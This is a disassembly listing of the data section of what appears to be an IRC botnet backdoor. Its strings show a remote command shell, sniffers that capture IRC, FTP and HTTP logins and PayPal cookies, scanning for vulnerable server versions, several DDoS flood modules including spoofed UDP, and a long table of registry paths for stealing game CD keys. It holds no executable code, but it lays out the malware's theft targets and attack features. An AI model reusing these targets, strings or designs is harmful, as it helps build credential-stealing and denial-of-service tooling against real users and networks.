aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 10h
unk_438B60	db  2Dh	; -		; DATA XREF: sub_40FD18+1C2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_438B8C	db  2Dh	; -		; DATA XREF: sub_40FD18+1A2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_40FD18+172o
		align 4
unk_438BC8	db  2Dh	; -		; DATA XREF: sub_40FD18+E1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_438BF4	db  2Dh	; -		; DATA XREF: sub_40FF1D:loc_40FF4Fo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 10h
unk_438C20	db  2Dh	; -		; DATA XREF: sub_40FF5E+1Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aLoginRejectedR	db '- Login rejected, Remote user: <%s@%s>.',0
		align 4
unk_438C58	db  2Dh	; -		; DATA XREF: sub_40FF8D+218o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 10h
unk_438C90	db  2Dh	; -		; DATA XREF: sub_40FF8D+1E8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_32	db '- Failed to start client thread, error: <%d>.',0
		align 10h
unk_438CD0	db  2Dh	; -		; DATA XREF: sub_40FF8D+177o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_438D14	db  2Dh	; -		; DATA XREF: sub_40FF8D+106o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 10h
unk_438D50	db  2Dh	; -		; DATA XREF: sub_40FF8D+70o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToInstal	db '- Failed to install control-C handler, error: <%d>.',0
		align 4
unk_438D94	db  2Dh	; -		; DATA XREF: sub_40FF8D+3Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_438DC0	db  2Dh	; -		; DATA XREF: sub_410214+E2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 8
unk_438DF8	db  2Dh	; -		; DATA XREF: sub_410214+59o
					; sub_410214+8Fo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 10h
unk_438E40	db  2Dh	; -		; DATA XREF: sub_410369+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_438E68	db  2Dh	; -		; DATA XREF: sub_410369+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_438EA8	db  2Dh	; -		; DATA XREF: sub_410369+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_438EE8	db  2Dh	; -		; DATA XREF: sub_410462+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 10h
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410462+8Co
		align 4
unk_438F28	db  2Dh	; -		; DATA XREF: sub_41053B+8Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
dword_438F64	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4106F2+1B1o
aFailedToSta_33	db '- Failed to start server on Port %d.',0
		align 4
dword_438F98	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4106F2+17Co
aFailedToSta_34	db '- Failed to start client thread, error: <%d>.',0
		align 8
dword_438FD8	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4106F2+114o
aClientConnec_3	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
dword_439020	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4108F6+1F9o
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
dword_439064	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4108F6+18Ao
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
dword_4390A4	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4108F6+F2o
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
dword_4390E4	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_410CB3+416o
aTftpTransferCo	db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_410CB3+3BEo
		align 10h
aTftpTransferSt	db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_410CB3+2CDo
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_411139+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_411139+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_411139+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_411139+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_411139+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_411139+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_411139+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_411139+84o
a366		db '366 ',0             ; DATA XREF: sub_411139+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_411139:loc_41119Bo
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_411139+4Do
		align 10h
aPsniff		db 'PSNIFF//',0         ; DATA XREF: sub_411139+3Co
		align 4
aPsniff_0	db '[PSNIFF]:',0        ; DATA XREF: sub_411139+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_411139+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_411250+62o
aOper		db 'oper ',0            ; DATA XREF: sub_411250+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_411250:loc_411290o
					; sub_4112C6+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_411250+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_411250+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_4112C6+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4112C6+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4112C6:loc_411317o
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4112C6+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4112C6+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_41134D+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_41134D+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_41134D+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_41134D:loc_41138Do
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_41134D+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_41134D+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4113D4+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4113D4:loc_411414o
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4113D4+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4113D4+5o
		align 4
unk_43929C	db  2Dh	; -		; DATA XREF: sub_411439+3D6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4392D4	db  2Dh	; -		; DATA XREF: sub_411439+36Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43930C	db  2Dh	; -		; DATA XREF: sub_411439+337o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_439340	db  2Dh	; -		; DATA XREF: sub_411439+30Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_439374	db  2Dh	; -		; DATA XREF: sub_411439+2DCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4393A8	db  2Dh	; -		; DATA XREF: sub_411439+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_4393D8	db  2Dh	; -		; DATA XREF: sub_411439+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
unk_439404	db  2Dh	; -		; DATA XREF: sub_411816+5Bo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_43942C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_4118C8+31Ao
		dd 203A726Fh, 6425h
dword_439448	dd 736F6464h, 6E61722Eh, 6D6F64h ; DATA	XREF: sub_4118C8:loc_4119F4o
dword_439454	dd 736F6464h, 6B63612Eh, 0 ; DATA XREF:	sub_4118C8:loc_4119D8o
dword_439460	dd 736F6464h, 6E79732Eh, 2 dup(0) ; DATA XREF: sub_4118C8+F1o
unk_439470	db  2Dh	; -		; DATA XREF: sub_411C5A+390o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPa	db 'error sending packets to %s. %d packets sent, returned %d',0
		align 4
unk_4394B8	db  2Dh	; -		; DATA XREF: sub_411C5A+326o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aDoneWithSFlood	db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
		align 4
unk_439504	db  2Dh	; -		; DATA XREF: sub_411C5A+12Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidTargetI	db 'invalid target ip',0
		align 4
unk_439524	db  2Dh	; -		; DATA XREF: sub_411C5A+C2o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSetsockoptFail	db 'setsockopt() failed, returned %d',0
		align 4
unk_439554	db  2Dh	; -		; DATA XREF: sub_411C5A+49o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSocketFailedRe	db 'socket() failed, returned %d',0
		align 10h
unk_439580	db  2Dh	; -		; DATA XREF: sub_412045+13Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFinishedSendin	db 'finished sending pings to %s',0
		align 4
unk_4395AC	db  2Dh	; -		; DATA XREF: sub_412045+6Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPi	db 'error sending pings to %s',0
		align 4
unk_4395D4	db  2Dh	; -		; DATA XREF: sub_4121D1+1C7o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFinishedSend_0	db '- finished sending packets to %s',0
		align 10h
unk_439600	db  2Dh	; -		; DATA XREF: sub_4121D1+8Eo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aErrorSending_0	db '- error sending packets to %s',0
		align 4
dword_439628	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_4123E8+48o
aDoneWithFloodI	db '- Done with flood (%iKB/sec)',0
		align 4
unk_439654	db  2Dh	; -		; DATA XREF: sub_412581+48o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloo_0	db '- Done with flood (%iKB/sec).',0
		align 4
unk_43967C	db  2Dh	; -		; DATA XREF: sub_41261D+295o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aSendErrorD_	db '- Send error: <%d>.',0
		align 4
dword_43969C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_412926+4Do
aDoneWithFlood_	db '- Done with flood.',0
		align 10h
unk_4396C0	db  2Dh	; -		; DATA XREF: sub_412BE2+4E4o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSending_1	db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 10h
unk_439710	db  2Dh	; -		; DATA XREF: sub_412BE2+471o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aDoneWithSFlo_0	db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 10h
unk_439760	db  2Dh	; -		; DATA XREF: sub_412BE2+15Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidTarge_0	db '- Invalid target IP.',0
		align 10h
unk_439780	db  2Dh	; -		; DATA XREF: sub_412BE2+EEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSetsockop	db '- Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_4397B8	db  2Dh	; -		; DATA XREF: sub_412BE2+70o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSocketFai	db '- Error: socket() failed, returned: <%d>.',0
		align 4
unk_4397EC	db  2Dh	; -		; DATA XREF: sub_41317E+60o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aDoneWithFloodD	db '- Done with flood, %d packets sent.',0
		align 10h
unk_439820	db  2Dh	; -		; DATA XREF: sub_41346D+47o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aStartingWisdom	db '- Starting Wisdom spoofed UDP flood thread.',0
		align 10h
unk_439860	db  2Dh	; -		; DATA XREF: sub_4134E3+348o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorSending_2	db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
		align 10h
unk_4398F0	db  2Dh	; -		; DATA XREF: sub_4134E3+2F6o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFinishedSend_1	db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 4
unk_439954	db  2Dh	; -		; DATA XREF: sub_4134E3+CCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aSendingPackets	db '- Sending packets to %s...',0
unk_439980	db  2Dh	; -		; DATA XREF: sub_4134E3+80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aInvalidTarge_1	db '- Invalid target IP. WSAGetLastError() returns %d.',0
		align 8
unk_4399C8	db  2Dh	; -		; DATA XREF: sub_4134E3+63o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSe	db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 4
unk_439A18	db  2Dh	; -		; DATA XREF: sub_4134E3+2Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
unk_439A44	db  2Dh	; -		; DATA XREF: sub_41383B+5Do
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 10h
aSD		db '%s%d ',0            ; DATA XREF: sub_4139D5+1F1o
		align 4
dword_439A78	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_413EC2+35o
dword_439A8C	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_413EC2+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_413F3A+60o
		align 4
dword_439AC4	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_413FDA:loc_41400Fo
dword_439AD8	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_413FDA+20o
dword_439AEC	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: sub_41401B+DCo
		dd 6574656Ch, 0
dword_439B08	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_41401B+3Fo
		dd 676E6974h, 2	dup(0)
		dd 80000001h
off_439B2C	dd offset aSoftwareValveC ; DATA XREF: sub_41414A+Cr
					; sub_41414A+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_439B38	dd 2 dup(0)		; DATA XREF: sub_41414A+26o
		dd 80000001h, 43ACD0h, 43ACC4h,	43ACB4h, 2 dup(0)
		dd 80000001h, 43AC94h, 43AC90h,	43AC7Ch, 2 dup(0)
		dd 80000001h, 43AC58h, 43AC90h,	43AC4Ch, 2 dup(0)
		dd 80000001h, 43AC28h, 43AC20h,	43AC0Ch, 2 dup(0)
		dd 80000001h, 43ABF8h, 43ABE8h,	43ABCCh, 2 dup(0)
		dd 80000001h, 43AB88h, 43AD10h,	43AB74h, 2 dup(0)
		dd 80000002h, 43AB48h, 43AB3Ch,	43AB1Ch, 2 dup(0)
		dd 80000002h, 43AAE8h, 43AD10h,	43AAD0h, 2 dup(0)
		dd 80000002h, 43AA9Ch, 43AD10h,	43AA84h, 2 dup(0)
		dd 80000002h, 43AA6Ch, 43AD10h,	43AA54h, 2 dup(0)
		dd 80000002h, 43AA18h, 4400B4h,	43AA08h, 2 dup(0)
		dd 80000002h, 43A9D0h, 4400B4h,	43A9BCh, 2 dup(0)
		dd 80000002h, 43A970h, 4400B4h,	43A950h, 2 dup(0)
		dd 80000002h, 43A900h, 4400B4h,	43A8D0h, 2 dup(0)
		dd 80000002h, 43A894h, 4400B4h,	43A880h, 2 dup(0)
		dd 80000002h, 43A848h, 4400B4h,	43A838h, 2 dup(0)
		dd 80000002h, 43A7E8h, 4400B4h,	43A7B8h, 2 dup(0)
		dd 80000002h, 43A778h, 4400B4h,	43A758h, 2 dup(0)
		dd 80000002h, 43A728h, 4400B4h,	43A708h, 2 dup(0)
		dd 80000002h, 43A6CCh, 4400B4h,	43A6B8h, 2 dup(0)
		dd 80000002h, 43A670h, 4400B4h,	43A64Ch, 2 dup(0)
		dd 80000002h, 43A5F8h, 4400B4h,	43A5C8h, 2 dup(0)
		dd 80000002h, 43A578h, 4400B4h,	43A54Ch, 2 dup(0)
		dd 80000002h, 43A50Ch, 43A504h,	43A4E4h, 2 dup(0)
		dd 80000002h, 43A4A0h, 4400B4h,	43A484h, 2 dup(0)
		dd 80000002h, 43A438h, 4400B4h,	43A410h, 2 dup(0)
		dd 80000002h, 43A3DCh, 4400B4h,	43A3D0h, 2 dup(0)
		dd 80000002h, 43A39Ch, 4400B4h,	43A390h, 2 dup(0)
		dd 80000002h, 43A35Ch, 4400B4h,	43A350h, 2 dup(0)
		dd 80000002h, 43A31Ch, 4400B4h,	43A310h, 2 dup(0)
		dd 80000002h, 43A2D4h, 4400B4h,	43A2C0h, 2 dup(0)
		dd 80000002h, 43A284h, 4400B4h,	43A270h, 2 dup(0)
		dd 80000002h, 43A240h, 43AD10h,	43A224h, 2 dup(0)
		dd 80000002h, 43A204h, 43A1FCh,	43A1D8h, 2 dup(0)
		dd 80000002h, 43A1BCh, 43A1FCh,	43A19Ch, 2 dup(0)
		dd 80000002h, 43A17Ch, 43A1FCh,	43A158h, 2 dup(0)
		dd 80000002h, 43A140h, 43A1FCh,	43A13Ch, 2 dup(0)
		dd 80000002h, 43A120h, 43A110h,	43A108h, 2 dup(0)
		dd 80000002h, 43A0D4h, 4294ACh,	43A0BCh, 2 dup(0)
		dd 80000002h, 43A080h, 43A074h,	43A04Ch, 43A03Ch, 43A028h
		dd 80000002h, 43A004h, 439FF8h,	439FE4h, 439FD4h, 439FCCh
		dd 80000002h, 43A004h, 439FF8h,	439FA0h, 439FD4h, 439F98h
		dd 80000002h, 43A004h, 439FF8h,	439F68h, 439FD4h, 439F60h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial_0	db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 8
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 8
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 8
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
